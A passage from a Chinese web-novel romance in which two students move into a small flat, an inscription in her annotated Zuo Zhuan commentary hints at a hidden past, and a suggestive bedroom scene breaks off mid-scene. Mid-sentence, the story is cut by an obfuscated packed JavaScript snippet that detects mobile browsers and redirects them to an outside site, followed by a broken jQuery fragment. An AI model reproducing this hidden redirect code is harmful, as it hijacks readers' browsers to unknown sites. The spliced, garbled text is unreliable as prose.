连川犹豫了一下,又拍了几张卧室的照片,传给她。
卧室只有一张一米五的双人床。
是那种窄小到,两个人必须贴着才不会掉下去的双人床。
「串串:可以吗?」
祝祺很快回复:
「猪7:租两室一厅的房子」
连川心头一点点带着负罪感的期待,瞬间破灭。
果然,祝祺会觉得他们的进展太快了。
下一秒,手机又震:
「猪7:除非金豆也去打一份工……」
「猪7:别多想啦,就它吧!我觉得很好!」
九月初,祝祺和室友们告别,搬进了学校附近的小屋中。
大喵格外不舍,抱着祝祺大骂狗男人,当初她瞎了眼,以为连川觊觎她的年级第一,没想到是觊觎她!本!人!
祝祺笑着拍拍大喵的肩。
祝祺行李不多,没有太多衣物与生活用品要搬,麻烦的只有书。
寝室书架上,各类书籍按照开本大小,横着一本本叠高,书脊向外,顶着上方的木质横梁,确保书架不会因为书的重量折断。衣柜里,本该放置衣物的地方,还有一摞不常用的工具书。为了给书籍防潮,祝祺在衣柜壁上细心地挂满除湿袋。
连川搬了一下午,才把祝祺的书
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15346986|165918||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
全部都转移到出租屋里。
本就不大的生存空间愈发逼仄。
理好书架,祝祺立刻对这一方小天地有了归属感,随便扒一张软垫坐着,就能在书堆里埋首待一天。
“……”
千辛万苦帮忙运书上楼的连川,开始后悔。
祝祺没空理他,他只好坐在祝祺身边,扮演沉默的家具,信手翻动祝祺的藏书。
祝祺看书很杂,以史传类居多,其次是文献学方向的研究专著,间有段玉裁《说文解字注》,几册诗词,还有几册西方的文论。
其中,泛黄磨损最严重的一套书,是杨伯峻的六册《春秋左传注》。
连川信手从书堆中取出第一册,随意摊开至一页。
书脊已经断裂开胶,一翻开,几页泛黄的纸便如受惊的水鸟一样往外飘。
他手忙脚乱地把残页收拢,按顺序放回原处。
书页上满是祝祺用古拙方正的大字写成的旁批。不同时期的批注,祝祺细心地用了不同颜色的笔区分。
唯独第一页,没有祝祺的笔记。
只有一段黑色水笔写成的陌生字迹,像茫茫雪原中的一串飞鸿爪印,十分显眼:
「收将十分春恨,做一天、愁影绕云山。许幼芳赠。」
他无心一问:“许幼芳是谁?”
原本伏在书堆中的女生,猛直起身来。
仿佛是连川的错觉,她的肩膀不安地抖动了一下。
祝祺敛目,目光垂落,在他手中的书册上稍定住,旋即扬起唇角:
“不认识啊,这套书是我收的二手。”
又是这幅表情,讨好般的、若无其事的甜笑。
她越着意撒谎,说话的声音越有一种不落地的轻快感。
连川想起曾在校门口与祝祺拉扯的女人——那显然是祝祺的母亲,但看上去,不像是读过张惠言的人。
他默然将书合拢,放回原位。
夜里,两人洗漱完毕后,会一起坐在床上看一部电影,然后入睡。
连川怀里揣着呼噜呼噜作响的大肥猫,祝祺抱着连川的胳膊。温热柔软的脸颊,沾着几缕碎发,贴着他的手臂,女生姿态很乖,一副全盘信任的样子。
连川绝不主动拥抱祝祺。
尤其是在床上。
和白天,只要祝祺试探地捏捏他的手腕,将脸凑近一点,他就能摁着她的下巴,吮到她舌尖发麻,态度截然不同。
入住新家半个月后,夜半,连川被祝祺推醒。
祝祺咋咋呼呼地喊痛:“抽筋了。”
连川翻身起来:“哪里?”
“小腿。”
她的小腿露/.出被单,光洁匀长。
连川跪在她腿边,躬身,捏住她右边小腿,微微提起来:“这边吗?”
祝祺满脸真诚:“嗯嗯,痛。”
右腿肌肉软绵绵的,完全没有紧绷的迹象,也不抗拒他的触碰。
连川手上仍握着她的小腿,声音平静:“祝老师,你要不再考虑考虑?”
祝祺从善如流:“那就左边。”
说着便将另一侧小腿也往他手上递,膝盖挪动时顶/.开睡裙裙/.边,露/.出延伸至裙/.下的一段柔和的线条。
连川沉默片刻,仰头看向她:“祝祺,你知道你在做什么吗?”
祝祺此时支起上身,枕头垫在腰/.后,乌发披散,落在睡衣敞/.开的领口之间,黑亮的两眼一错不错地看着他,盈着笑。
她没有答话,连川又将手掌覆上轮廓,指尖碾过淡黄色的裙边,克制得泛白。
连川再一次问:“你确认,你知道接下来会发生什么吗?”